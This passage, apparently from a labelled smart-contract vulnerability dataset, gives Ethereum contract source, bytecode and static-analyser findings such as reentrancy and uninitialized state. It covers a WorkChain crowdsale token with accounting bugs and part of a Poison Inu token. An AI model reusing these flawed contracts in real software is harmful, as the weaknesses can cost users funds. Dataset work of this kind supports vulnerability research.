5b60008135905061275681613585565b92915050565b60008151905061276b81613585565b92915050565b6000602082840312156127875761278661329d565b5b6000612795848285016126c5565b91505092915050565b6000602082840312156127b4576127b361329d565b5b60006127c2848285016126da565b91505092915050565b600080604083850312156127e2576127e161329d565b5b60006127f0858286016126c5565b9250506020612801858286016126c5565b9150509250929050565b6000806000606084860312156128245761282361329d565b5b6000612832868287016126c5565b9350506020612843868287016126c5565b925050604061285486828701612747565b9150509250925092565b600080604083850312156128755761287461329d565b5b6000612883858286016126c5565b925050602061289485828601612747565b9150509250929050565b6000602082840312156128b4576128b361329d565b5b600082013567ffffffffffffffff8111156128d2576128d1613298565b5b6128de848285016126ef565b91505092915050565b6000602082840312156128fd576128fc61329d565b5b600061290b8482850161271d565b91505092915050565b60006020828403121561292a5761292961329d565b5b600061293884828501612732565b91505092915050565b6000602082840312156129575761295661329d565b5b600061296584828501612747565b91505092915050565b6000806000606084860312156129875761298661329d565b5b60006129958682870161275c565b93505060206129a68682870161275c565b92505060406129b78682870161275c565b9150509250925092565b60006129cd83836129d9565b60208301905092915050565b6129e2816130be565b82525050565b6129f1816130be565b82525050565b6000612a0282612f64565b612a0c8185612f87565b9350612a1783612f54565b8060005b83811015612a48578151612a2f88826129c1565b9750612a3a83612f7a565b925050600181019050612a1b565b5085935050505092915050565b612a5e816130d0565b82525050565b612a6d81613113565b82525050565b6000612a7e82612f6f565b612a888185612f98565b9350612a98818560208601613125565b612aa1816132a2565b840191505092915050565b6000612ab9602383612f98565b9150612ac4826132b3565b604082019050919050565b6000612adc602a83612f98565b9150612ae782613302565b604082019050919050565b6000612aff602283612f98565b9150612b0a82613351565b604082019050919050565b6000612b22601b83612f98565b9150612b2d826133a0565b602082019050919050565b6000612b45602183612f98565b9150612b50826133c9565b604082019050919050565b6000612b68602083612f98565b9150612b7382613418565b602082019050919050565b6000612b8b602983612f98565b9150612b9682613441565b604082019050919050565b6000612bae602583612f98565b9150612bb982613490565b604082019050919050565b6000612bd1602483612f98565b9150612bdc826134df565b604082019050919050565b6000612bf4601783612f98565b9150612bff8261352e565b602082019050919050565b612c13816130fc565b82525050565b612c2281613106565b82525050565b6000602082019050612c3d60008301846129e8565b92915050565b6000604082019050612c5860008301856129e8565b612c6560208301846129e8565b9392505050565b6000604082019050612c8160008301856129e8565b612c8e6020830184612c0a565b9392505050565b600060c082019050612caa60008301896129e8565b612cb76020830188612c0a565b612cc46040830187612a64565b612cd16060830186612a64565b612cde60808301856129e8565b612ceb60a0830184612c0a565b979650505050505050565b6000602082019050612d0b6000830184612a55565b92915050565b60006020820190508181036000830152612d2b8184612a73565b905092915050565b60006020820190508181036000830152612d4c81612aac565b9050919050565b60006020820190508181036000830152612d6c81612acf565b9050919050565b60006020820190508181036000830152612d8c81612af2565b9050919050565b60006020820190508181036000830152612dac81612b15565b9050919050565b60006020820190508181036000830152612dcc81612b38565b9050919050565b60006020820190508181036000830152612dec81612b5b565b9050919050565b60006020820190508181036000830152612e0c81612b7e565b9050919050565b60006020820190508181036000830152612e2c81612ba1565b9050919050565b60006020820190508181036000830152612e4c81612bc4565b9050919050565b60006020820190508181036000830152612e6c81612be7565b9050919050565b6000602082019050612e886000830184612c0a565b92915050565b600060a082019050612ea36000830188612c0a565b612eb06020830187612a64565b8181036040830152612ec281866129f7565b9050612ed160608301856129e8565b612ede6080830184612c0a565b9695505050505050565b6000602082019050612efd6000830184612c19565b92915050565b6000612f0d612f1e565b9050612f198282613158565b919050565b6000604051905090565b600067ffffffffffffffff821115612f4357612f4261325f565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612fb4826130fc565b9150612fbf836130fc565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ff457612ff36131d2565b5b828201905092915050565b600061300a826130fc565b9150613015836130fc565b92508261302557613024613201565b5b828204905092915050565b600061303b826130fc565b9150613046836130fc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561307f5761307e6131d2565b5b828202905092915050565b6000613095826130fc565b91506130a0836130fc565b9250828210156130b3576130b26131d2565b5b828203905092915050565b60006130c9826130dc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061311e826130fc565b9050919050565b60005b83811015613143578082015181840152602081019050613128565b83811115613152576000848401525b50505050565b613161826132a2565b810181811067ffffffffffffffff821117156131805761317f61325f565b5b80604052505050565b6000613194826130fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131c7576131c66131d2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613560816130be565b811461356b57600080fd5b50565b613577816130d0565b811461358257600080fd5b50565b61358e816130fc565b811461359957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204b141c4b77652396e62e8566d603b04c4f28d096a9aac16e775ee911013ea43864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,768
0xaf4868d151cf953145a786d880b67f5dcb7ec5f3
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function () public payable { revert(); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract PausableToken is Ownable, StandardToken { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } } contract Configurable { uint256 public constant totalSaleLimit = 70000000; uint256 public constant privateSaleLimit = 27300000; uint256 public constant preSaleLimit = 38500000; uint256 public constant saleLimit = 4200000; uint256 public creationDate = now; uint256 public constant teamLimit = 8000000; uint256 teamReleased; address public constant teamAddress = 0x7a615d4158202318750478432743cA615d0D83aF; } contract Staged is Ownable, Configurable { using SafeMath for uint256; enum Stages {PrivateSale, PreSale, Sale} Stages currentStage; uint256 privateSale; uint256 preSale; uint256 sale; function Staged() public { currentStage = Stages.PrivateSale; } function setPrivateSale() public onlyOwner returns (bool) { currentStage = Stages.PrivateSale; return true; } function setPreSale() public onlyOwner returns (bool) { currentStage = Stages.PreSale; return true; } function setSale() public onlyOwner returns (bool) { currentStage = Stages.Sale; return true; } function tokensAmount(uint256 _wei) public view returns (uint256) { if (_wei < 100000000000000000) return 0; uint256 amount = _wei.mul(14005).div(1 ether); if (currentStage == Stages.PrivateSale) { if (_wei < 50000000000000000000) return 0; if (_wei > 3000000000000000000000) return 0; amount = amount.mul(130).div(100); if (amount > privateSaleLimit.sub(privateSale)) return 0; } if (currentStage == Stages.PreSale) { if (_wei > 30000000000000000000) return 0; amount = amount.mul(110).div(100); if (amount > preSaleLimit.sub(preSale)) return 0; } if (currentStage == Stages.Sale) { if (amount > saleLimit.sub(sale)) return 0; } return amount; } function addStageAmount(uint256 _amount) public { if (currentStage == Stages.PrivateSale) { require(_amount < privateSaleLimit.sub(privateSale)); privateSale = privateSale.add(_amount); } if (currentStage == Stages.PreSale) { require(_amount < preSaleLimit.sub(preSale)); privateSale = privateSale.add(_amount); } if (currentStage == Stages.Sale) { require(_amount < saleLimit.sub(sale)); sale = sale.add(_amount); } } } contract MintableToken is PausableToken, Configurable { function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { require(totalSaleLimit.add(30000000) > totalSupply.add(_amount)); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(address(this), _to, _amount); return true; } } contract CrowdsaleToken is MintableToken, Staged { function CrowdsaleToken() internal { balances[owner] = 22000000; // bounty and marketing totalSupply.add(22000000); } function() public payable { uint256 tokens = tokensAmount(msg.value); require (tokens > 0); addStageAmount(tokens); owner.transfer(msg.value); balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); } function releaseTeamTokens() public { uint256 timeSinceCreation = now.sub(creationDate); uint256 teamTokens = timeSinceCreation.div(7776000).mul(1000000); require (teamReleased < teamTokens); teamTokens = teamTokens.sub(teamReleased); if (teamReleased.add(teamTokens) > teamLimit) { teamTokens = teamLimit.sub(teamReleased); } require (teamTokens > 0); teamReleased = teamReleased.add(teamTokens); balances[teamAddress] = balances[teamAddress].add(teamTokens); totalSupply = totalSupply.add(teamTokens); emit Transfer(address(this), teamAddress, teamTokens); } } contract WorkChain is CrowdsaleToken { string public constant name = "WorkChain"; string public constant symbol = "WCH"; uint32 public constant decimals = 0; }
0x60606040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305b34410811461024857806306fdde031461026d578063095ea7b3146102f757806314c411c71461032d57806315be2e7c1461034257806318160ddd146103555780631c75f085146103685780631d9cfd6d1461039757806323b872dd146103aa57806327962fc1146103d2578063313ce567146103e85780633f4ba83a1461041457806340c10f19146104275780635c975abb14610449578063643ce5251461045c578063661884631461046f57806370a08231146104915780637e26639f146104b05780637e2ff5f9146104c35780638456cb59146104d65780638da5cb5b146104e9578063909d6877146104fc57806395d89b411461050f578063a9059cbb14610522578063c976ce9c14610544578063d1f1ef3414610557578063d73dd6231461056a578063dd62ed3e1461058c578063df8812c7146105b1578063f2fde38b146105c7575b600061018a346105e6565b90506000811161019957600080fd5b6101a28161077a565b600054600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156101d657600080fd5b600160a060020a0333166000908152600260205260409020546101ff908263ffffffff61087516565b600160a060020a0333811660008181526002602052604090819020939093559130909116906000805160206113218339815191529084905190815260200160405180910390a350005b341561025357600080fd5b61025b61088b565b60405190815260200160405180910390f35b341561027857600080fd5b610280610891565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156102bc5780820151838201526020016102a4565b50505050905090810190601f1680156102e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561030257600080fd5b610319600160a060020a03600435166024356108c8565b604051901515815260200160405180910390f35b341561033857600080fd5b610340610934565b005b341561034d57600080fd5b61025b610ae0565b341561036057600080fd5b61025b610ae8565b341561037357600080fd5b61037b610aee565b604051600160a060020a03909116815260200160405180910390f35b34156103a257600080fd5b610319610b06565b34156103b557600080fd5b610319600160a060020a0360043581169060243516604435610b3e565b34156103dd57600080fd5b61025b6004356105e6565b34156103f357600080fd5b6103fb610b64565b60405163ffffffff909116815260200160405180910390f35b341561041f57600080fd5b610340610b69565b341561043257600080fd5b610319600160a060020a0360043516602435610bcd565b341561045457600080fd5b610319610cac565b341561046757600080fd5b61025b610cb5565b341561047a57600080fd5b610319600160a060020a0360043516602435610cbc565b341561049c57600080fd5b61025b600160a060020a0360043516610db6565b34156104bb57600080fd5b61025b610dd1565b34156104ce57600080fd5b610319610dd8565b34156104e157600080fd5b610340610e07565b34156104f457600080fd5b61037b610e6d565b341561050757600080fd5b61025b610e7c565b341561051a57600080fd5b610280610e84565b341561052d57600080fd5b610319600160a060020a0360043516602435610ebb565b341561054f57600080fd5b61025b610ed8565b341561056257600080fd5b610319610ee0565b341561057557600080fd5b610319600160a060020a0360043516602435610f10565b341561059757600080fd5b61025b600160a060020a0360043581169060243516610fb4565b34156105bc57600080fd5b61034060043561077a565b34156105d257600080fd5b610340600160a060020a0360043516610fdf565b60008067016345785d8a00008310156106025760009150610774565b61062c670de0b6b3a7640000610620856136b563ffffffff61107a16565b9063ffffffff61109e16565b9050600060075460ff16600281111561064157fe5b14156106bc576802b5e3af16b18800008310156106615760009150610774565b68a2a15d09519be0000083111561067b5760009150610774565b610691606461062083608263ffffffff61107a16565b90506106ac6008546301a090a06110b590919063ffffffff16565b8111156106bc5760009150610774565b600160075460ff1660028111156106cf57fe5b1415610730576801a055690d9db800008311156106ef5760009150610774565b610705606461062083606e63ffffffff61107a16565b905061072060095463024b76a06110b590919063ffffffff16565b8111156107305760009150610774565b600260075460ff16600281111561074357fe5b141561077057600a5461076090624016409063ffffffff6110b516565b8111156107705760009150610774565b8091505b50919050565b600060075460ff16600281111561078d57fe5b14156107cd576008546107ab906301a090a09063ffffffff6110b516565b81106107b657600080fd5b6008546107c9908263ffffffff61087516565b6008555b600160075460ff1660028111156107e057fe5b1415610820576009546107fe9063024b76a09063ffffffff6110b516565b811061080957600080fd5b60085461081c908263ffffffff61087516565b6008555b600260075460ff16600281111561083357fe5b141561087257600a5461085090624016409063ffffffff6110b516565b811061085b57600080fd5b600a5461086e908263ffffffff61087516565b600a555b50565b60008282018381101561088457fe5b9392505050565b60055481565b60408051908101604052600981527f576f726b436861696e0000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60008061094c600554426110b590919063ffffffff16565b9150610974620f4240610968846276a70063ffffffff61109e16565b9063ffffffff61107a16565b90508060065410151561098657600080fd5b60065461099a90829063ffffffff6110b516565b9050627a12006109b58260065461087590919063ffffffff16565b11156109d5576006546109d290627a12009063ffffffff6110b516565b90505b600081116109e257600080fd5b6006546109f5908263ffffffff61087516565b600655737a615d4158202318750478432743ca615d0d83af60005260026020527fcf6b693d963f597749203368d4158502dd876e524cce08ab03c88ed12ccec17054610a47908263ffffffff61087516565b737a615d4158202318750478432743ca615d0d83af60005260026020527fcf6b693d963f597749203368d4158502dd876e524cce08ab03c88ed12ccec17055600154610a99908263ffffffff61087516565b600155737a615d4158202318750478432743ca615d0d83af30600160a060020a03166000805160206113218339815191528360405190815260200160405180910390a35050565b63042c1d8081565b60015481565b737a615d4158202318750478432743ca615d0d83af81565b6000805433600160a060020a03908116911614610b2257600080fd5b600780546002919060ff19166001835b02179055506001905090565b60045460009060ff1615610b5157600080fd5b610b5c8484846110c7565b949350505050565b600081565b60005433600160a060020a03908116911614610b8457600080fd5b60045460ff161515610b9557600080fd5b6004805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000805433600160a060020a03908116911614610be957600080fd5b600154610bfc908363ffffffff61087516565b610c1463042c1d806301c9c38063ffffffff61087516565b11610c1e57600080fd5b600154610c31908363ffffffff61087516565b600155600160a060020a038316600090815260026020526040902054610c5d908363ffffffff61087516565b600160a060020a0380851660008181526002602052604090819020939093559130909116906000805160206113218339815191529085905190815260200160405180910390a350600192915050565b60045460ff1681565b627a120081565b600160a060020a03338116600090815260036020908152604080832093861683529290529081205480831115610d1957600160a060020a033381166000908152600360209081526040808320938816835292905290812055610d50565b610d29818463ffffffff6110b516565b600160a060020a033381166000908152600360209081526040808320938916835292905220555b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526002602052604090205490565b6240164081565b6000805433600160a060020a03908116911614610df457600080fd5b600780546001919060ff19168280610b32565b60005433600160a060020a03908116911614610e2257600080fd5b60045460ff1615610e3257600080fd5b6004805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b63024b76a081565b60408051908101604052600381527f5743480000000000000000000000000000000000000000000000000000000000602082015281565b60045460009060ff1615610ece57600080fd5b6108848383611237565b6301a090a081565b6000805433600160a060020a03908116911614610efc57600080fd5b600780546000919060ff1916600183610b32565b600160a060020a033381166000908152600360209081526040808320938616835292905290812054610f48908363ffffffff61087516565b600160a060020a0333811660008181526003602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610ffa57600080fd5b600160a060020a038116151561100f57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000828202831580611096575082848281151561109357fe5b04145b151561088457fe5b60008082848115156110ac57fe5b04949350505050565b6000828211156110c157fe5b50900390565b6000600160a060020a03831615156110de57600080fd5b600160a060020a03841660009081526002602052604090205482111561110357600080fd5b600160a060020a038085166000908152600360209081526040808320339094168352929052205482111561113657600080fd5b600160a060020a03841660009081526002602052604090205461115f908363ffffffff6110b516565b600160a060020a038086166000908152600260205260408082209390935590851681522054611194908363ffffffff61087516565b600160a060020a038085166000908152600260209081526040808320949094558783168252600381528382203390931682529190915220546111dc908363ffffffff6110b516565b600160a060020a03808616600081815260036020908152604080832033861684529091529081902093909355908516916000805160206113218339815191529085905190815260200160405180910390a35060019392505050565b6000600160a060020a038316151561124e57600080fd5b600160a060020a03331660009081526002602052604090205482111561127357600080fd5b600160a060020a03331660009081526002602052604090205461129c908363ffffffff6110b516565b600160a060020a0333811660009081526002602052604080822093909355908516815220546112d1908363ffffffff61087516565b600160a060020a0380851660008181526002602052604090819020939093559133909116906000805160206113218339815191529085905190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ac8d549ba6d0bb140b5ffce8e2ffafd23c64ac964f0a8488da43ef53156cac9b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,769
0x38b8ebae5eebfa226571583981b571c703422416
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ // SPDX-License-Identifier: UNLICENSED /** Telegram - https://t.me/PoisonInu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PoisonInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Poison Inu"; string private constant _symbol = "PINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 8; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x65EE34EB941d3e84F6a2df5c0340DeFc7cEE970d); address payable private _marketingAddress = payable(0x65EE34EB941d3e84F6a2df5c0340DeFc7cEE970d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 300000 * 10**9; //3% uint256 public _maxWalletSize = 300000 * 10**9; //3% uint256 public _swapTokensAtAmount = 100000 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { 